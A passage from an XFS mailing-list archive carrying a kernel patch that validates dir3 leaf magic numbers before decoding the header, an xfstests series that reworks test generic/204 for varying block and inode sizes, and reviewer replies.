Tue, 03 Sep 2013 10:06:58 +1000 Date: Tue, 3 Sep 2013 10:06:58 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH v2] xfs: check magic numbers in dir3 leaf verifier first Message-ID: <20130903000658.GJ12779@dastard> X-ASG-Orig-Subj: [PATCH v2] xfs: check magic numbers in dir3 leaf verifier first References: <1378119020-31299-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378119020-31299-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1378166821 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140167 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- xfs: check magic numbers in dir3 leaf verifier first From: Dave Chinner Calling xfs_dir3_leaf_hdr_from_disk() in a verifier before validating the magic numbers in the buffer results in ASSERT failures due to mismatching magic numbers when a corruption occurs. Seeing as the verifier is supposed to catch the corruption and pass it back to the caller, having the verifier assert fail on error defeats the purpose of detecting the errors in the first place. Check the magic numbers direct from the buffer before decoding the header. Signed-off-by: Dave Chinner --- v2: magic number size is 16 bits, not 32 bits. Was only wrong for v4 filesystem checking, xfstests/204 triggered failure. fs/xfs/xfs_dir2_leaf.c | 21 ++++++++++++++------- 1 file changed, 14 insertions(+), 7 deletions(-) diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index 08984ee..fb57893 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -165,6 +165,7 @@ xfs_dir3_leaf_check_int( (char *)&ents[hdr->count] > (char *)xfs_dir2_leaf_bests_p(ltp)) return false; + /* Check hash value order, count stale entries. */ for (i = stale = 0; i < hdr->count; i++) { if (i + 1 < hdr->count) { @@ -180,6 +181,11 @@ xfs_dir3_leaf_check_int( return true; } +/* + * We verify the magic numbers before decoding the leaf header so that on debug + * kernels we don't get assertion failures in xfs_dir3_leaf_hdr_from_disk() due + * to incorrect magic numbers. + */ static bool xfs_dir3_leaf_verify( struct xfs_buf *bp, @@ -191,24 +197,25 @@ xfs_dir3_leaf_verify( ASSERT(magic == XFS_DIR2_LEAF1_MAGIC || magic == XFS_DIR2_LEAFN_MAGIC); - xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); if (xfs_sb_version_hascrc(&mp->m_sb)) { struct xfs_dir3_leaf_hdr *leaf3 = bp->b_addr; + __uint16_t magic3; - if ((magic == XFS_DIR2_LEAF1_MAGIC && - leafhdr.magic != XFS_DIR3_LEAF1_MAGIC) || - (magic == XFS_DIR2_LEAFN_MAGIC && - leafhdr.magic != XFS_DIR3_LEAFN_MAGIC)) - return false; + magic3 = (magic == XFS_DIR2_LEAF1_MAGIC) ? XFS_DIR3_LEAF1_MAGIC + : XFS_DIR3_LEAFN_MAGIC; + if (leaf3->info.hdr.magic != cpu_to_be16(magic3)) + return false; if (!uuid_equal(&leaf3->info.uuid, &mp->m_sb.sb_uuid)) return false; if (be64_to_cpu(leaf3->info.blkno) != bp->b_bn) return false; } else { - if (leafhdr.magic != magic) + if (leaf->hdr.info.magic != cpu_to_be16(magic)) return false; } + + xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); return xfs_dir3_leaf_check_int(mp, &leafhdr, leaf); } From dave@fromorbit.com Mon Sep 2 19:15:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 29F9C7F54 for ; Mon, 2 Sep 2013 19:15:03 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 199CD8F804B for ; Mon, 2 Sep 2013 17:15:03 -0700 (PDT) X-ASG-Debug-ID: 1378167299-04cbb02c3acf5580002-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 5fDNhzcSdi7BJIuS for ; Mon, 02 Sep 2013 17:15:01 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArAGAOUoJVJ5LJ62/2dsb2JhbABagweuAZUgF3SCJAEBBVYzCBgxOQMbGYgBuS+QE4QHA6lbgzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl6.internode.on.net with ESMTP; 03 Sep 2013 09:44:59 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VGeGn-0002JA-HB for xfs@oss.sgi.com; Tue, 03 Sep 2013 10:14:57 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VGeGn-0001zL-GO for xfs@oss.sgi.com; Tue, 03 Sep 2013 10:14:57 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 3/3] xfstests: Make 204 work with different block and inode sizes. Date: Tue, 3 Sep 2013 10:14:55 +1000 X-ASG-Orig-Subj: [PATCH 3/3] xfstests: Make 204 work with different block and inode sizes. Message-Id: <1378167295-7566-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378167295-7566-1-git-send-email-david@fromorbit.com> References: <1378167295-7566-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1378167301 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140167 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Otherwise it fails with ENOSPC on CRC enabled filesystems because ofhte larger inode size. Signed-off-by: Dave Chinner --- common/filter | 10 +++++++++- tests/generic/204 | 34 ++++++++++++++++++++++++++++++---- 2 files changed, 39 insertions(+), 5 deletions(-) diff --git a/common/filter b/common/filter index ee738ca..dc9e197 100644 --- a/common/filter +++ b/common/filter @@ -131,9 +131,17 @@ _filter_date() } # prints filtered output on stdout, values (use eval) on stderr -# +# Non XFS filesystems always return a 4k block size and a 256 byte inode. _filter_mkfs() { + case $FSTYP in + xfs) + ;; + *) + perl -e 'print STDERR "dbsize=4096\nisize=256\n"' + return ;; + esac + set - perl -ne ' if (/^meta-data=([\w,|\/.-]+)\s+isize=(\d+)\s+agcount=(\d+), agsize=(\d+) blks/) { diff --git a/tests/generic/204 b/tests/generic/204 index a054c8f..598b805 100755 --- a/tests/generic/204 +++ b/tests/generic/204 @@ -28,6 +28,12 @@ echo "QA output created by $seq" here=`pwd` tmp=/tmp/$$ status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -f $tmp.* +} # get standard environment, filters and checks . ./common/rc @@ -41,15 +47,35 @@ _require_scratch rm -f $seqres.full +# get the block size first +_scratch_mkfs 2> /dev/null | _filter_mkfs 2> $tmp.mkfs > /dev/null +. $tmp.mkfs + SIZE=`expr 104 \* 1024 \* 1024` -_scratch_mkfs_sized $SIZE &> /dev/null +_scratch_mkfs_sized $SIZE $dbsize 2> /dev/null \ + | _filter_mkfs 2> $tmp.mkfs > /dev/null _scratch_mount +. $tmp.mkfs + # fix the reserve block pool to a known size so that the enospc calculations -# work out correctly. -_scratch_resvblks 1024 >> $seqres.full 2>&1 +# work out correctly. Space usages is based 22500 files and 1024 reserved blocks +# on a 4k block size 256 byte inode size filesystem. +resv_blks=1024 +space=97920000 + +# decrease files for inode size. +# 22500 * (256 + 4k) = ~97MB +# files * (isize + bsize) = 97MB +# files = (97920000 / (isize + bsize)) + +files=$((space / (isize + dbsize))) +resv_blks=$((resv_blks * (4096 / dbsize))) + +echo files $files, resvblks $resv_blks >> $seqres.full +_scratch_resvblks $resv_blks >> $seqres.full 2>&1 -for i in `seq 1 22500`; do +for i in `seq 1 $files`; do echo -n > $SCRATCH_MNT/$i echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX > $SCRATCH_MNT/$i done -- 1.8.3.2 From dave@fromorbit.com Mon Sep 2 19:15:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 08AAA7F55 for ; Mon, 2 Sep 2013 19:15:05 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8B6C6AC006 for ; Mon, 2 Sep 2013 17:15:04 -0700 (PDT) X-ASG-Debug-ID: 1378167299-04cbb02c3acf5580003-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id cQLy6lNdaIATPDQW for ; Mon, 02 Sep 2013 17:15:02 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArAGAOUoJVJ5LJ62/2dsb2JhbABagweuAZUgF3SCJAEBBVYzCBgxOQMbGYgBuS+QE4QHA6IkhzeDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl6.internode.on.net with ESMTP; 03 Sep 2013 09:44:59 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VGeGn-0002J8-Fx for xfs@oss.sgi.com; Tue, 03 Sep 2013 10:14:57 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VGeGn-0001zB-FC for xfs@oss.sgi.com; Tue, 03 Sep 2013 10:14:57 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/3] xfstests: generic/204 should call _check_scratch_fs Date: Tue, 3 Sep 2013 10:14:53 +1000 X-ASG-Orig-Subj: [PATCH 1/3] xfstests: generic/204 should call _check_scratch_fs Message-Id: <1378167295-7566-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378167295-7566-1-git-send-email-david@fromorbit.com> References: <1378167295-7566-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1378167302 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140167 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 From: Dave Chinner Because if it corrupts the filesystem it currently goes undetected. Signed-off-by: Dave Chinner --- tests/generic/204 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/tests/generic/204 b/tests/generic/204 index 62bd248..98cb176 100755 --- a/tests/generic/204 +++ b/tests/generic/204 @@ -52,6 +52,8 @@ for i in `seq 1 22500`; do echo XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX > $SCRATCH_MNT/$i done +_check_scratch_fs + # success, all done echo "*** done" rm -f $seqres.full -- 1.8.3.2 From dave@fromorbit.com Mon Sep 2 19:15:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 45A497F5E for ; Mon, 2 Sep 2013 19:15:05 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id CAA93AC009 for ; Mon, 2 Sep 2013 17:15:01 -0700 (PDT) X-ASG-Debug-ID: 1378167299-04cbb02c3acf5580001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id TZLHiTOYCQtxoAS8 for ; Mon, 02 Sep 2013 17:15:00 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Aq8GAOUoJVJ5LJ62/2dsb2JhbABagweuAZUgF3SDATuBAgOINZgroQSQE4QHA6lbgzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl6.internode.on.net with ESMTP; 03 Sep 2013 09:44:59 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VGeGn-0002J7-FO for xfs@oss.sgi.com; Tue, 03 Sep 2013 10:14:57 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VGeGn-0001z8-EK for xfs@oss.sgi.com; Tue, 03 Sep 2013 10:14:57 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/3] xfstests: improvements for generic/204 Date: Tue, 3 Sep 2013 10:14:52 +1000 X-ASG-Orig-Subj: [PATCH 0/3] xfstests: improvements for generic/204 Message-Id: <1378167295-7566-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1378167299 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140167 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words Hi folks, These patches are fixes and improvements for generic/204. Firstly, it doesn't check the filesystem it works on, and so corruptions can go undetected. Secondly, _scratch_mkfs_sized doesn't handle different block sizes passed in on the command line via MKFS_OPTIONS at all well (i.e they get ignored) and so it has never run on small block size filesystems of any type. Finally, make it run on filesystems with different block sizes and inode sizes by scaling the file count appropriately. It detects block and inode size from the output of mkfs, so scaling only occurs if the underlying filesystem emits them. Cheers, Dave. From dave@fromorbit.com Mon Sep 2 19:15:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A3C367F60 for ; Mon, 2 Sep 2013 19:15:06 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 92E83304081 for ; Mon, 2 Sep 2013 17:15:03 -0700 (PDT) X-ASG-Debug-ID: 1378167301-04cbb02c3ccf5590001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id TBmyozIDWitFeOJb for ; Mon, 02 Sep 2013 17:15:02 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArAGAOUoJVJ5LJ62/2dsb2JhbABagweuAZUgF3SCJAEBBVYzCBgxOQMbGYgBuS+QE4QHA6lbgzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail06.adl6.internode.on.net with ESMTP; 03 Sep 2013 09:44:59 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VGeGn-0002J9-Gd for xfs@oss.sgi.com; Tue, 03 Sep 2013 10:14:57 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VGeGn-0001zG-Fi for xfs@oss.sgi.com; Tue, 03 Sep 2013 10:14:57 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/3] xfstests: Obey mkfs options for sized filesystems on XFS Date: Tue, 3 Sep 2013 10:14:54 +1000 X-ASG-Orig-Subj: [PATCH 2/3] xfstests: Obey mkfs options for sized filesystems on XFS Message-Id: <1378167295-7566-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1378167295-7566-1-git-send-email-david@fromorbit.com> References: <1378167295-7566-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1378167301 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140167 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The XFS implementation of _scratch_mkfs_sized ignores MKFS_OPTIONS when a custom block size is set and so isn't testing things like CRCs on such sized filesytsems. Fix this by ensuring we don't try to override the block size is it is set in MKFS_OPTIONS. xfs/204 shows this problem. Signed-off-by: Dave Chinner --- common/rc | 8 +++++++- tests/generic/204 | 4 +++- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/common/rc b/common/rc index 358f24b..8a239c5 100644 --- a/common/rc +++ b/common/rc @@ -578,7 +578,13 @@ _scratch_mkfs_sized() case $FSTYP in xfs) - _scratch_mkfs_xfs -d size=$fssize -b size=$blocksize + # don't override MKFS_OPTIONS that set a block size. + echo $MKFS_OPTIONS |egrep -q "b?size=" + if [ $? -eq 0 ]; then + _scratch_mkfs_xfs -d size=$fssize + else + _scratch_mkfs_xfs -d size=$fssize -b size=$blocksize + fi ;; ext2|ext3|ext4|ext4dev) yes | ${MKFS_PROG}.$FSTYP $MKFS_OPTIONS -b $blocksize $SCRATCH_DEV $blocks diff --git a/tests/generic/204 b/tests/generic/204 index 98cb176..a054c8f 100755 --- a/tests/generic/204 +++ b/tests/generic/204 @@ -39,13 +39,15 @@ _supported_os Linux _require_scratch +rm -f $seqres.full + SIZE=`expr 104 \* 1024 \* 1024` _scratch_mkfs_sized $SIZE &> /dev/null _scratch_mount # fix the reserve block pool to a known size so that the enospc calculations # work out correctly. -_scratch_resvblks 1024 > $seqres.full 2>&1 +_scratch_resvblks 1024 >> $seqres.full 2>&1 for i in `seq 1 22500`; do echo -n > $SCRATCH_MNT/$i -- 1.8.3.2 From nagios@cil-aliance.com Mon Sep 2 23:06:17 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 941DF7F5F for ; Mon, 2 Sep 2013 23:06:17 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 224D1AC004 for ; Mon, 2 Sep 2013 21:06:13 -0700 (PDT) X-ASG-Debug-ID: 1378181171-04cb6c153dd00cc0001-NocioJ Received: from zimbra.cil-aliance.com (mail.cil-aliance.com [213.56.199.202]) by cuda.sgi.com with ESMTP id TIjdK3kSuVRb4qAa for ; Mon, 02 Sep 2013 21:06:12 -0700 (PDT) X-Barracuda-Envelope-From: nagios@cil-aliance.com X-Barracuda-Apparent-Source-IP: 213.56.199.202 Received: from localhost (localhost.localdomain [127.0.0.1]) by zimbra.cil-aliance.com (Postfix) with ESMTP id 7339E4154113; Tue, 3 Sep 2013 06:05:25 +0200 (CEST) X-Virus-Scanned: amavisd-new at cil-aliance.com Received: from zimbra.cil-aliance.com ([127.0.0.1]) by localhost (zimbra.cil-aliance.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id t+aI63V3OIm0; Tue, 3 Sep 2013 06:05:25 +0200 (CEST) Received: from zimbra.cil-aliance.com (localhost.localdomain [127.0.0.1]) by zimbra.cil-aliance.com (Postfix) with ESMTP id 3EEA141540D1; Tue, 3 Sep 2013 06:05:24 +0200 (CEST) Date: Tue, 3 Sep 2013 06:05:24 +0200 (CEST) From: "nagios nagios. nagios" Message-ID: <10112325.109118.1378181124241.JavaMail.root@cil-aliance.com> Subject: Your two incoming mails MIME-Version: 1.0 X-ASG-Orig-Subj: Your two incoming mails Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [196.46.245.58] X-Mailer: Zimbra 6.0.15_GA_2995 (zclient/6.0.15_GA_2995) To: undisclosed-recipients:; X-Barracuda-Connect: mail.cil-aliance.com[213.56.199.202] X-Barracuda-Start-Time: 1378181172 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140183 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From BATV+99e3cedaa157929b46fa+3663+infradead.org+hch@bombadil.srs.infradead.org Tue Sep 3 02:33:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 33E187F54 for ; Tue, 3 Sep 2013 02:33:19 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 16E778F8052 for ; Tue, 3 Sep 2013 00:33:15 -0700 (PDT) X-ASG-Debug-ID: 1378193593-04bdf02f23d2e870001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id ZFEgtAEJVhoyndDC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Sep 2013 00:33:14 -0700 (PDT) X-Barracuda-Envelope-From: BATV+99e3cedaa157929b46fa+3663+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VGl6u-0000NG-HS; Tue, 03 Sep 2013 07:33:12 +0000 Date: Tue, 3 Sep 2013 00:33:12 -0700 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2] xfs: check magic numbers in dir3 leaf verifier first Message-ID: <20130903073312.GA1422@infradead.org> X-ASG-Orig-Subj: Re: [PATCH v2] xfs: check magic numbers in dir3 leaf verifier first References: <1378119020-31299-1-git-send-email-david@fromorbit.com> <20130903000658.GJ12779@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130903000658.GJ12779@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1378193594 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140197 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- > @@ -165,6 +165,7 @@ xfs_dir3_leaf_check_int( > (char *)&ents[hdr->count] > (char *)xfs_dir2_leaf_bests_p(ltp)) > return false; > > + > /* Check hash value order, count stale entries. */ spurious new line.. > if (xfs_sb_version_hascrc(&mp->m_sb)) { > struct xfs_dir3_leaf_hdr *leaf3 = bp->b_addr; > + __uint16_t magic3; > > + magic3 = (magic == XFS_DIR2_LEAF1_MAGIC) ? XFS_DIR3_LEAF1_MAGIC > + : XFS_DIR3_LEAFN_MAGIC; > > + if (leaf3->info.hdr.magic != cpu_to_be16(magic3)) > + return false; > if (!uuid_equal(&leaf3->info.uuid, &mp->m_sb.sb_uuid)) > return false; > if (be64_to_cpu(leaf3->info.blkno) != bp->b_bn) > return false; > } else { > - if (leafhdr.magic != magic) > + if (leaf->hdr.info.magic != cpu_to_be16(magic)) > return false; > } Looks good but I wonder if something like this should be factored into a separate helper in the long run. Reviewed-by: Christoph Hellwig From BATV+99e3cedaa157929b46fa+3663+infradead.org+hch@bombadil.srs.infradead.org Tue Sep 3 02:33:56 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5CAC17F54 for ; Tue, 3 Sep 2013 02:33:56 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id EA029AC004 for ; Tue, 3 Sep 2013 00:33:55 -0700 (PDT) X-ASG-Debug-ID: 1378193634-04cbb02c3bd01a80001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id SPBLsew38Gpvda3H (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Sep 2013 00:33:55 -0700 (PDT) X-Barracuda-Envelope-From: BATV+99e3cedaa157929b46fa+3663+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VGl7a-0000No-JZ; Tue, 03 Sep 2013 07:33:54 +0000 Date: Tue, 3 Sep 2013 00:33:54 -0700 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfstests: generic/204 should call _check_scratch_fs Message-ID: <20130903073354.GB1422@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfstests: generic/204 should call _check_scratch_fs References: <1378167295-7566-1-git-send-email-david@fromorbit.com> <1378167295-7566-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378167295-7566-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by 